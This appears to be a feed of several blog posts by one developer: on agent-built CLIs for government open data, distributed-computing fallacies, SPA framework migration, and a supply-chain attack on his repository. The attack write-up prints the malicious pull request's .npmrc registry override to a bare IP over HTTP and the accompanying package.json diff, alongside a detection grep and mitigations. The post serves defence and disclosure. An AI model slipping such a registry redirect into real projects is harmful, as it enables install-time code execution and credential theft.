&lt;p&gt;Agentic systems — the new machine god, as I've taken to calling it, with more patience than a trainee news desk and better organization than the people officially in charge of "Digitalisierung" — are terminal natives. Give an agent a tool that takes flags and returns JSON with a predictable schema and it uses it correctly on the first try; it has seen ten million CLIs in training. The shell &lt;em&gt;is&lt;/em&gt; the integration layer. Every agent runtime on earth can execute a command; not every one speaks whatever protocol is fashionable this quarter. That's why it's CLI first, and why each repo ships agent skills alongside the binary — the CLI is the muscle, the skill is the manual.&lt;/p&gt;

&lt;p&gt;Now hand an agent all 25 manuals and describe the DIP → abgeordnetenwatch → FragDenStaat workflow. It runs the whole rabbit hole in minutes, in parallel, with citations. And notice: entity matching across inconsistently named datasets — the state's main anti-interoperability defense — happens to be something language models are freakishly good at. The moat was designed for humans with browsers. It was not designed for this.&lt;/p&gt;

&lt;p&gt;The traffic runs the other way too. These tin cans confabulate; producing plausible text is the whole job description, and a model will invent a river level or a committee vote without blinking. Feeding it primary data from calibrated government systems — a sensor bolted to a bridge, a document with an ID and a timestamp — is how you stop the machine from making things up. The APIs ground the model; the model joins the APIs. Fair trade.&lt;/p&gt;

&lt;p&gt;How you combine thetools is, as far as I'm concerned, a secret between you and your computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does one even end up here
&lt;/h2&gt;

&lt;p&gt;In a second repo sits a politics search engine that needs exactly this data for contextualization — a five-digit number of sources, collected since the RSS days. The engine has been through three eras that neatly mirror the last fifteen years of search itself: pure full-text before 2010, semantic search through 2020, and since 2025 both of those with a language model bolted on top. The CLIs are what that stack turned out to need: grounding. Fifteen-plus years of watching this ecosystem is where the interoperability thesis comes from; it's not a hot take, it's a scar.&lt;/p&gt;

&lt;h2&gt;
  
  
  The boring parts, on purpose
&lt;/h2&gt;

&lt;p&gt;Everything is AGPL. Every package ships an SBOM, because I've written enough about npm supply-chain attacks to refuse publishing anything opaque myself. Version numbers start at 0.0.x and mean it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The dark factory
&lt;/h2&gt;

&lt;p&gt;Which leaves the question of how sixteen of these exist already and a hundred are plausible without me giving up sleep, food, or my remaining goodwill. The answer is the part of the project I find most instructive: the CLIs come out of a dark factory.&lt;/p&gt;

&lt;p&gt;Manufacturing people know the term — lights-out production. FANUC has run plants in Japan where robots build robots for weeks at a stretch with the lights literally off, because nobody's in the building to need them. That, minus the sheet metal, is the production model here. There's a template repository that acts as the assembly line: project layout, flag conventions, test harness, CI, SBOM generation, npm publishing — the jigs and fixtures. A new government API enters at one end as raw material; agents read whatever passes for its documentation, probe the endpoints, generate the wrapper against the template, write the tests, write the agent skill, and a CLI comes out the other end, boxed and labeled like its fifteen siblings. When shared plumbing improves, the change propagates across every repo the same way — nobody hand-edits sixteen READMEs at 11 PM, because nobody hand-edits sixteen READMEs at all.&lt;/p&gt;

&lt;p&gt;My job in this factory is not on the line. It's the job humans keep in every lights-out plant: I define the product, I set the tolerances, and I stand at the quality gate reading diffs before anything ships. Exception handling, in both senses.&lt;/p&gt;

&lt;p&gt;Two consequences fall out of this, and they're the whole game. First, the marginal cost of wrapping one more government API is approaching the cost of caring about it — which is how "roughly a hundred" stops being bravado and becomes a backlog. Second, remember the state's favorite defense, the arbitrary format change? Against a hand-maintained scraper, lethal. Against a factory, it's a work order. The breakage lands in CI, an agent retools the line, I review the diff over coffee. The sabotage now costs the saboteur more than the target.&lt;/p&gt;




&lt;p&gt;*The project lives at &lt;a href="https://github.com/maschinenlesbar-org" rel="noopener noreferrer"&gt;github.com/maschinenlesbar-org&lt;/a&gt;, with running commentary at &lt;a href="https://bsky.app/profile/maschinenlesbar.bsky.social" rel="noopener noreferrer"&gt;@maschinenlesbar.bsky.social&lt;/a&gt;. *&lt;/p&gt;

</description>
      <category>opendata</category>
      <category>ai</category>
      <category>darkfactory</category>
    </item>
    <item>
      <title>Fallacies of distributed computing</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Wed, 01 Jul 2026 20:26:30 +0000</pubDate>
      <link>https://dev.to/sebs/fallacies-of-distributed-computing-41fb</link>
      <guid>https://dev.to/sebs/fallacies-of-distributed-computing-41fb</guid>
      <description>&lt;ul&gt;
&lt;li&gt;The network is reliable;&lt;/li&gt;
&lt;li&gt;Latency is zero;&lt;/li&gt;
&lt;li&gt;Bandwidth is infinite;&lt;/li&gt;
&lt;li&gt;The network is secure;&lt;/li&gt;
&lt;li&gt;Topology doesn't change;&lt;/li&gt;
&lt;li&gt;There is one administrator;&lt;/li&gt;
&lt;li&gt;Transport cost is zero;&lt;/li&gt;
&lt;li&gt;The network is homogeneous;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing" rel="noopener noreferrer"&gt;wp&lt;/a&gt;&lt;/p&gt;

</description>
      <category>computerscience</category>
      <category>distributedsystems</category>
      <category>networking</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>A Rogue Registry in My Own Backyard: Anatomy of a Two-Line Supply Chain Attack</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Sat, 27 Jun 2026 22:30:09 +0000</pubDate>
      <link>https://dev.to/sebs/a-rogue-registry-in-my-own-backyard-anatomy-of-a-two-line-supply-chain-attack-5b0h</link>
      <guid>https://dev.to/sebs/a-rogue-registry-in-my-own-backyard-anatomy-of-a-two-line-supply-chain-attack-5b0h</guid>
      <description>&lt;p&gt;The previous parts of this series were written from a comfortable distance. I read the Trend Micro diagrams about Shai-Hulud, I theorised about Docker network egress and rolling keys, and I lectured everyone about phishing training while quietly assuming it would happen to other people's repositories. The universe, being the comedian it is, decided to file a pull request against &lt;code&gt;sebs/etherscan-api&lt;/code&gt; to correct that assumption.&lt;/p&gt;

&lt;p&gt;This one is worth a writeup precisely because it is &lt;em&gt;small&lt;/em&gt;. No worm, no self-replicating bash, no 200-line obfuscated payload. Six lines added, three removed, across two files. If you reviewed it at 23:00 with one eye open, you would merge it. That is the whole point of it, and that is why it belongs in this series.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bait
&lt;/h2&gt;

&lt;p&gt;The PR arrived titled &lt;code&gt;refactor: replace manual multicall with ethers-multicall-utils&lt;/code&gt;. The description is a thing of beauty in the way that all good lies are tidy:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This PR integrates &lt;code&gt;ethers-multicall-utils&lt;/code&gt; to improve performance of multi-contract reads.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduces network latency&lt;/li&gt;
&lt;li&gt;Works with all EVM chains&lt;/li&gt;
&lt;li&gt;Zero dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read that again. It is fluent in the dialect of the modern PR. It has bullet points. It says "zero dependencies," which is the magic phrase that makes a security-minded maintainer relax their shoulders — the previous post in this series was literally me preaching about minimal package footprint, and here is a contributor seemingly speaking my language back to me. That is not a coincidence. The social engineering is calibrated for the target.&lt;/p&gt;

&lt;p&gt;The author account was not a five-minute-old burner either. Aged profile, hundreds of repos, an Arctic Code Vault badge, Pull Shark, a believable bio, a real-looking employer. Everything about the envelope says "competent open-source human." Everything in the envelope says otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual payload
&lt;/h2&gt;

&lt;p&gt;Here is the entire attack. First, a brand new &lt;code&gt;.npmrc&lt;/code&gt; appears in the repo root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://registry.npmjs.org/&lt;/span&gt;
&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="py"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;http://206.223.232.170:64389/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line is decoration. It points at the real npm registry and exists purely so the file looks reasonable to a skimming eye.&lt;/p&gt;

&lt;p&gt;The second line is the knife. The empty-scope syntax &lt;code&gt;:registry=&lt;/code&gt; sets the &lt;strong&gt;default&lt;/strong&gt; registry for everything that does not carry an explicit scope. So the net effect of those two lines together is: ignore the line above, and resolve packages from &lt;code&gt;http://206.223.232.170:64389/&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;Three things should set your hair on fire here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It is a &lt;strong&gt;bare IP address&lt;/strong&gt;, not a registry hostname. Legitimate registries have names. Names have TLS certificates. Names can be revoked. An IP on a high random port is somebody's box.&lt;/li&gt;
&lt;li&gt;It is &lt;strong&gt;plain &lt;code&gt;http://&lt;/code&gt;&lt;/strong&gt;. No TLS at all. Whoever controls the wire — or simply controls that host — controls every byte npm pulls down, and any token npm sends up during install.&lt;/li&gt;
&lt;li&gt;It overrides resolution for &lt;strong&gt;the entire install&lt;/strong&gt;, not just the one shiny new dependency. Every package your build fetches now potentially comes from the attacker.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second file change is &lt;code&gt;package.json&lt;/code&gt;, and it is the fig leaf that makes the &lt;code&gt;.npmrc&lt;/code&gt; look purposeful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;   "devDependencies": {
     "@types/node": "22.10.5",
     "typedoc": "0.28.19",
&lt;span class="gd"&gt;-    "typescript": "6.0.3"
&lt;/span&gt;&lt;span class="gi"&gt;+    "typescript": "6.0.3",
+    "ethers-multicall-utils": "^2.1.4"
&lt;/span&gt;   }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new dependency is added that — surprise — does not need to exist on the real npm registry, because the &lt;code&gt;.npmrc&lt;/code&gt; has already rerouted resolution to the attacker's server. They can serve whatever they like under that name: a package whose &lt;code&gt;postinstall&lt;/code&gt; script runs their code, or a trojaned copy of something you already trust. The &lt;code&gt;^2.1.4&lt;/code&gt; caret is a nice touch too — it pre-authorises any "newer" version they decide to push later.&lt;/p&gt;

&lt;p&gt;There was also a cosmetic edit re-escaping the &lt;code&gt;ü&lt;/code&gt; in my own name in the &lt;code&gt;author&lt;/code&gt; field. Pure diff noise, there to make the commit read like a tidy housekeeping pass. I have rarely felt so personally tidied.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is the dangerous kind
&lt;/h2&gt;

&lt;p&gt;The Shai-Hulud worm was loud. It propagated, it phoned home, it cloned private repos, and that noise is exactly what gets it caught and written up. This thing is the opposite design philosophy. It is quiet, it is two lines, and it weaponises &lt;em&gt;your own install command&lt;/em&gt;. You do not need to be tricked into running anything exotic. You run &lt;code&gt;npm install&lt;/code&gt;, the same way you have ten thousand times before, and the trap springs in your CI runner or on your laptop with your npm token sitting right there in the environment.&lt;/p&gt;

&lt;p&gt;The chain, end to end:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plausible "perf refactor" PR
        │
        ▼
package.json adds a dependency that only resolves...
        │
        ▼
...from the registry hardcoded in .npmrc
        │
        ▼
http://&amp;lt;attacker-ip&amp;gt;:&amp;lt;port&amp;gt; serves a malicious package
        │
        ▼
install-time code execution, token harvest, or worse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every link looks boring in isolation. That is the craft.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually saved this repo
&lt;/h2&gt;

&lt;p&gt;Nothing clever. The PR was reviewed by a human who looked at the files, not just the description, and asked the only question that matters when a PR touches install configuration: &lt;em&gt;why is there a registry line pointing at a random IP over HTTP?&lt;/em&gt; There is no benign answer to that question. The PR was closed unmerged.&lt;/p&gt;

&lt;p&gt;But "I happened to look" is not a control. Let us turn it into one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigations, in roughly the order I would bother
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Treat &lt;code&gt;.npmrc&lt;/code&gt; as a security-critical file.&lt;/strong&gt; It configures where your code &lt;em&gt;comes from&lt;/em&gt;. That is at least as sensitive as a CI workflow file, and in the previous post I argued the &lt;code&gt;actions/&lt;/code&gt; folder deserves CODEOWNERS and branch protection. &lt;code&gt;.npmrc&lt;/code&gt; deserves exactly the same paranoia. Put it behind CODEOWNERS so any change to it requires a human you trust.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Add a CI check that refuses hostile registry config.&lt;/strong&gt; A grep is enough to start. Fail the build if an &lt;code&gt;.npmrc&lt;/code&gt; anywhere in the tree points at a non-HTTPS registry or a bare IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fail if any .npmrc references a non-https or IP-based registry&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s1"&gt;'registry\s*=\s*https?://'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s1"&gt;'**/.npmrc'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
   | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s1"&gt;'=\s*https://([a-z0-9.-]+\.)?(npmjs\.org|your-private-registry\.example)/'&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Suspicious registry override detected in .npmrc"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tune the allowlist to your actual registries. The point is that &lt;em&gt;new&lt;/em&gt; registry endpoints become a deliberate, reviewed event rather than something that rides in on a refactor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pin and verify what you install.&lt;/strong&gt; A committed lockfile plus &lt;code&gt;npm ci&lt;/code&gt; (not &lt;code&gt;npm install&lt;/code&gt;) in CI means resolution follows the lockfile, and a foreign registry URL in there is glaring in review. &lt;code&gt;--ignore-scripts&lt;/code&gt; in CI where you can get away with it removes the install-time code execution primitive that most of these attacks ultimately rely on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build in a box with a short leash.&lt;/strong&gt; This is the same advice as part one, and this attack is a clean example of why it works: if your build container can only reach your known registry and nothing else, a redirect to &lt;code&gt;206.223.232.170:64389&lt;/code&gt; simply fails to connect. The exfiltration and the malicious fetch both die at the network boundary. DNS/egress allowlisting is not glamorous and it quietly defeats a whole category of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Review the diff, never the description.&lt;/strong&gt; The PR text is written by the attacker. It is marketing copy. The only ground truth is the files changed tab. If a "performance" or "dependency" PR touches &lt;code&gt;.npmrc&lt;/code&gt;, &lt;code&gt;package.json&lt;/code&gt; install config, lifecycle scripts, or a workflow file, the description becomes irrelevant and the change earns full scrutiny regardless of how friendly the bullet points were.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Assume the friendly account might not be its owner.&lt;/strong&gt; An aged profile with good badges is not a trust signal anymore; it is an &lt;em&gt;attack asset&lt;/em&gt;, because hijacked reputable accounts are precisely what makes a malicious PR slide through. "Assume breach" applies to your contributors' credentials, not just your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  The uncomfortable part
&lt;/h2&gt;

&lt;p&gt;I write a series about supply chain security and someone still walked a registry-hijack PR right up to my front door. That is not a failure of the series; that is the actual threat model. These attacks are cheap, automated, and sprayed across hundreds of repositories at once on the statistical certainty that &lt;em&gt;someone&lt;/em&gt; merges at 23:00 with one eye open. You do not have to be careless to get got. You just have to be tired once.&lt;/p&gt;

&lt;p&gt;So make the boring controls do the watching for you, because your attention is the resource the attacker is budgeting against.&lt;/p&gt;

&lt;p&gt;To misquote the same wise machine I closed part one with:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The only winning move is to not run &lt;code&gt;npm install&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>supplychain</category>
    </item>
    <item>
      <title>Frameworks Rot. The Platform Doesn't.</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Fri, 12 Jun 2026 18:46:48 +0000</pubDate>
      <link>https://dev.to/sebs/frameworks-rot-the-platform-doesnt-58g0</link>
      <guid>https://dev.to/sebs/frameworks-rot-the-platform-doesnt-58g0</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A decision memo for anyone staring at their &lt;code&gt;package.json&lt;/code&gt; and wondering.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most arguments for leaving your SPA framework center on the upgrade treadmill — the endless cycle of major-version migrations, dependency churn, and build-tool turnover. That argument is real but incomplete, and on its own it has never been decisive: every framework shop has learned to live with the treadmill. There's a stronger case, built on four pillars that compound with each other.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;total cost of ownership&lt;/strong&gt;: vanilla JavaScript on the web platform has unusual TCO properties, dominated by a depreciation curve that is nearly flat. Code written against the platform does not rot, because its substrate does not change. Over long horizons, this single property outweighs almost every per-feature productivity argument in a framework's favor.&lt;/p&gt;

&lt;p&gt;Second, &lt;strong&gt;the labor market&lt;/strong&gt;: the pool of people who can work on vanilla JavaScript is not a niche within the frontend market — it is the entire frontend market, plus most of the backend market. Every framework developer is, underneath, a JavaScript developer. The reverse is not true. If you hire for a specific framework, you're hiring from a subset while telling yourself you're hiring from the mainstream.&lt;/p&gt;

&lt;p&gt;Third, &lt;strong&gt;AI leverage&lt;/strong&gt;: engineers now produce a growing share of code with AI assistance, and the economics of that assistance differ sharply by target. The web platform is a small, stable, exhaustively documented body of knowledge; a framework ecosystem is a large, fast-mutating one whose training data is perpetually stale. AI coding tools are measurably more reliable on the former. As AI-assisted development becomes the dominant mode of production, the substrate that AI handles best becomes the cheaper substrate — and the gap widens every year the platform stays still while frameworks move.&lt;/p&gt;

&lt;p&gt;Fourth, &lt;strong&gt;architecture&lt;/strong&gt;: porting to Web Components is not a transliteration of the same design into different syntax. The platform pushes toward a genuinely different architecture — autonomous, message-passing components rather than a centrally reconciled tree — and that architecture has its own economic consequences, mostly favorable for a broad class of applications, which you should adopt deliberately rather than discover by accident.&lt;/p&gt;

&lt;p&gt;The recommendation, stated up front: if your application sits in the right quadrant — long-lived, stabilizing, forms-and-views rather than collaborative-canvas — migrate incrementally via the strangler pattern, and reject any big-bang rewrite. The rest of this post develops each pillar, the reasoning behind them, and the conditions under which the whole argument flips.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Tenets
&lt;/h2&gt;

&lt;p&gt;Before the pillars, the principles they rest on. If you disagree with a conclusion below, the disagreement is probably with one of these — and that's the productive place to have it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Optimize total cost of ownership over the application's full life, not development cost over the next quarter.&lt;/strong&gt; A foundation's depreciation rate matters more than its day-one ergonomics.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Measure labor pools at the skill floor, not the skill label.&lt;/strong&gt; The relevant question is not "how many React developers exist" but "how many people can become productive in this codebase in a month."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The cost of code is increasingly the cost of supervising AI that writes it.&lt;/strong&gt; Substrates should be chosen partly for how well machines generate, verify, and maintain code on them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architecture is an economic object.&lt;/strong&gt; Coupling structure determines change cost; choose the structure, don't inherit it from a library's render model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer two-way doors.&lt;/strong&gt; A migration plan must be pausable mid-flight while still having paid for itself.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  3. Pillar One: The TCO Curve of Platform-Native Code
&lt;/h2&gt;

&lt;p&gt;Most software cost models obsess over construction cost and treat the maintenance tail as a multiplier. For long-lived applications, this is backwards: the tail is the animal. Industry experience consistently puts lifetime maintenance at several multiples of initial development, and the &lt;em&gt;composition&lt;/em&gt; of that maintenance is what distinguishes substrates.&lt;/p&gt;

&lt;p&gt;Framework code carries three maintenance components: (a) changes you choose to make — features, fixes; (b) changes the substrate forces on you — version migrations, deprecations, dependency security churn, toolchain turnover; and (c) the eventual full rewrite, when the foundation's liability exceeds the asset's value. Platform-native code carries only (a). Component (b) approaches zero because browsers do not ship breaking changes to the DOM; the platform's backwards-compatibility record spans decades, and code written against Custom Elements and CSS custom properties in 2026 will run unmodified in 2040. Component (c) — the scheduled-but-undated rewrite — is eliminated outright, and it's the largest single line in any honest long-horizon model: the cost of your entire application, again, plus the behavioral archaeology of rediscovering a decade of micro-decisions nobody remembers making.&lt;/p&gt;

&lt;p&gt;The resulting picture is two depreciation curves. Framework code depreciates like a vehicle: it loses value continuously through ecosystem drift even when untouched, and requires periodic capital injections (major-version migrations) merely to retain function. Platform code depreciates like land with a building on it: the building — your features — needs upkeep proportional to how often &lt;em&gt;you&lt;/em&gt; change it, but the ground does not move. On a four-year horizon the curves barely separate, and the framework's day-one ergonomics win. On a ten-year horizon the flat curve dominates decisively, with the crossover arriving well before year eight even under assumptions generous to the framework.&lt;/p&gt;

&lt;p&gt;One honest cost on the vanilla side of the ledger: the platform lacks a built-in reactivity model, so any non-trivial app will carry a thin, standards-tracking layer — a few hundred lines of signals, or a micro-library like Lit. That's a maintenance liability you own. It's also bounded, inspectable, and sits on a substrate that doesn't move beneath it — a fundamentally different risk class from a framework's hundreds of thousands of lines on a quarterly release cadence.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Pillar Two: The Labor Pool Is Larger, Not Smaller
&lt;/h2&gt;

&lt;p&gt;The conventional objection runs: "the market is full of React developers; vanilla and Web Components are a niche; you'd be narrowing your hiring funnel." This inverts the actual structure of the market.&lt;/p&gt;

&lt;p&gt;Every framework developer writes JavaScript. The framework is a dialect on top of a language they already know; the DOM is the machine their framework ultimately drives. A vanilla codebase is therefore legible, at the floor, to the &lt;em&gt;union&lt;/em&gt; of all framework communities — React, Vue, Angular, Svelte — plus the substantial population of full-stack and backend engineers who know JavaScript but never specialized in any frontend framework. A framework codebase is legible to one slice. When a company posts a role requiring deep experience in a specific framework &lt;em&gt;at a specific major version&lt;/em&gt;, it filters the market twice: once by dialect, once by dialect vintage. Tenet 2 says to measure at the skill floor: the number of engineers who can be productive in a well-structured vanilla codebase within a month is a strict superset — several times over — of those who can be productive in any single framework codebase.&lt;/p&gt;

&lt;p&gt;The second-order effects all point the same direction. &lt;strong&gt;Onboarding&lt;/strong&gt; compresses, because there's no framework dialect, no bespoke state-management idiom, and no build-pipeline folklore to absorb; the learning surface is the platform itself — which every candidate has been marinating in their whole career — plus your domain. &lt;strong&gt;Skill durability&lt;/strong&gt; improves: what engineers learn maintaining a vanilla codebase (DOM, events, encapsulation, the platform's actual contract) appreciates over their careers rather than expiring with a framework's market share — which, incidentally, makes such roles easier to sell to strong senior candidates who have been burned by dialect churn before. &lt;strong&gt;Key-person risk&lt;/strong&gt; falls: you're no longer exposed to the scenario where your framework's talent pool thins as fashion moves on, leaving you bidding against scarcity for maintenance of an aging stack — the COBOL dynamic, arriving on a ten-year fuse.&lt;/p&gt;

&lt;p&gt;The honest counterpoint: average familiarity with Shadow DOM specifics — slot composition, event retargeting, &lt;code&gt;ElementInternals&lt;/code&gt; — is genuinely lower than average familiarity with mainstream framework idioms. Size that as a weeks-not-quarters training cost per engineer, set against a structural enlargement of the funnel. That's a trade worth taking eagerly.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Pillar Three: AI Leverage — The Small, Frozen Corpus Wins
&lt;/h2&gt;

&lt;p&gt;A growing share of code is now produced with AI assistance, and the share keeps rising. This changes what "developer productivity" means: increasingly, the binding constraint is not how fast a human writes code but how reliably a model generates it and how cheaply a human verifies it. Substrate choice now has an AI term in it (Tenet 3), and the term favors the platform, for three structural reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The body of knowledge is small.&lt;/strong&gt; The web platform's API surface — DOM, events, Custom Elements, fetch, modern CSS — is compact and exhaustively specified. A framework ecosystem is that surface &lt;em&gt;plus&lt;/em&gt; the framework's own large API, &lt;em&gt;plus&lt;/em&gt; its state-management satellites, &lt;em&gt;plus&lt;/em&gt; its meta-framework conventions, &lt;em&gt;plus&lt;/em&gt; the idioms of whichever major version is current. A model asked to generate framework code is navigating a pattern space an order of magnitude larger, much of it convention rather than specification, where plausible-looking compositions are subtly wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The corpus is stable.&lt;/strong&gt; Models are trained on historical code. For a fast-moving framework, that history is a sediment of deprecated patterns: training data is dominated by yesterday's idioms, and the model confidently emits APIs that were removed two majors ago, mixes the old paradigm with the new one, or imports packages that have since been renamed. Anyone who uses AI assistants on framework code recognizes this failure mode; it converts generation speed into review burden. Platform APIs don't have this problem, because the correct pattern of 2016 is still the correct pattern of 2026. The training distribution and the deployment reality coincide. This appears to be a permanent structural advantage: it widens every year the platform stays still while frameworks move, and no amount of model improvement fully closes it, because the staleness is in the data, not the model.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verification is cheaper.&lt;/strong&gt; AI-generated vanilla code is checkable against a public specification and observable directly in a debugger; there's no reconciler between the code and its effect. AI-generated framework code must additionally be checked against framework semantics — rules of hooks, reactivity caveats, hydration constraints — exactly the kind of non-local, convention-encoded correctness conditions that models violate most and reviewers catch slowest.&lt;/p&gt;

&lt;p&gt;The economic translation: if AI assistance produces correct-on-first-pass code meaningfully more often on platform targets — and the day-to-day experience of teams suggests it does — then per-feature production cost on the platform falls faster than on the framework as AI adoption deepens. The framework's traditional advantage was developer ergonomics for humans. In a regime where machines write the first draft, ergonomics-for-machines is the metric, and it points the other way. The benefit is symmetric, too: a smaller, stable codebase with no framework dialect is easier for AI tools to &lt;em&gt;read&lt;/em&gt;, making AI-assisted maintenance, migration, and onboarding cheaper as well.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Pillar Four: It Is a Different Architecture, and That Is the Point
&lt;/h2&gt;

&lt;p&gt;A framework SPA, whatever its component syntax, is architecturally a &lt;em&gt;centrally coordinated&lt;/em&gt; system: a single reconciler owns the tree, state changes flow through a global scheduler, and components are functions evaluated inside someone else's run loop. This buys coherence and costs coupling — every component is coupled to the coordinator's semantics, which is precisely why framework migrations are total rather than partial. You cannot move one limb at a time when one brain runs the body.&lt;/p&gt;

&lt;p&gt;Web Components push toward the opposite: an architecture of &lt;em&gt;autonomous cells&lt;/em&gt;. Each custom element owns its state, its shadow-encapsulated rendering, and its lifecycle; coordination happens at the edges, through attributes and properties going down and composed DOM events bubbling up — message passing, not shared reconciliation. The DOM itself becomes the integration layer, which is to say the integration layer is standardized, inspectable, and owned by no vendor.&lt;/p&gt;

&lt;p&gt;This architecture has economic consequences worth naming explicitly. &lt;strong&gt;Change locality:&lt;/strong&gt; with state and rendering encapsulated per element and styling hard-bounded by the shadow root, the blast radius of a change is structurally small; cost-of-change correlates with the size of the change rather than the size of the application. &lt;strong&gt;Independent evolvability:&lt;/strong&gt; components can be rewritten, replaced, or owned by different teams on different schedules, because the contract between them is the DOM, not a framework version — this is the property that makes incremental migration possible at all, and it persists afterward as a permanent option to adopt or shed any future technology one component at a time. &lt;strong&gt;Failure isolation:&lt;/strong&gt; autonomous cells degrade locally; a broken widget is a broken widget, not a poisoned render tree. &lt;strong&gt;Honest costs:&lt;/strong&gt; truly cross-cutting state — session, theming, live shared data — requires deliberate design (a small event bus or shared reactive stores) rather than reaching for a framework's global store; and deeply orchestrated interactions spanning many components are genuinely harder to express than in a centralized model. For applications shaped like many semi-independent views over a domain model — most business software, most dashboards, most content products — the trade is strongly favorable. For a real-time collaborative canvas, it isn't, and it's better to say so than to pretend.&lt;/p&gt;

&lt;p&gt;The strategic point of Tenet 4: don't port the old architecture into new syntax. The migration's full return is only collected if you adopt the cell architecture deliberately — defining element contracts, event taxonomies, and the thin shared-state layer up front — so that what you build is not "your framework app, minus the framework," but a system whose coupling structure is itself the asset.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Risks, Reversal Conditions, and the Way to Actually Do It
&lt;/h2&gt;

&lt;p&gt;The pillars share failure modes worth naming. The TCO argument fails if the application's life is cut short — below roughly five years, the flat curve never overtakes. The labor argument fails if the codebase is structured so idiosyncratically that the "anyone who knows JavaScript" floor becomes theoretical; the mitigation is the deliberate architecture of Pillar Four plus written contracts. The AI argument is the youngest and deserves humility plus instrumentation — track first-pass acceptance rates of AI-generated changes on platform-native versus framework surfaces and let the data speak. The architecture argument fails if the product is heading toward heavy cross-component choreography; treat that as a named trigger to reconsider.&lt;/p&gt;

&lt;p&gt;And the execution model matters as much as the destination, because the all-at-once rewrite is the highest-risk version of this trade. Web Components offer a uniquely cheap alternative, since custom elements work &lt;em&gt;inside&lt;/em&gt; any framework: freeze the framework version first (instantly recovering the upgrade-treadmill capacity, before a single component is ported), build all new components as custom elements mounted within the existing app, convert old components opportunistically when feature work touches them anyway (so the behavioral archaeology is paid for by the feature), and remove the framework shell last, when it has been reduced to routing and a mount point. Each phase pays for itself; the plan is pausable at every stage; even abandoning it after the freeze leaves you better off than before. That's the two-way door of Tenet 5 — and it's the property that turns this from a bet into a position you can adjust.&lt;/p&gt;




&lt;h2&gt;
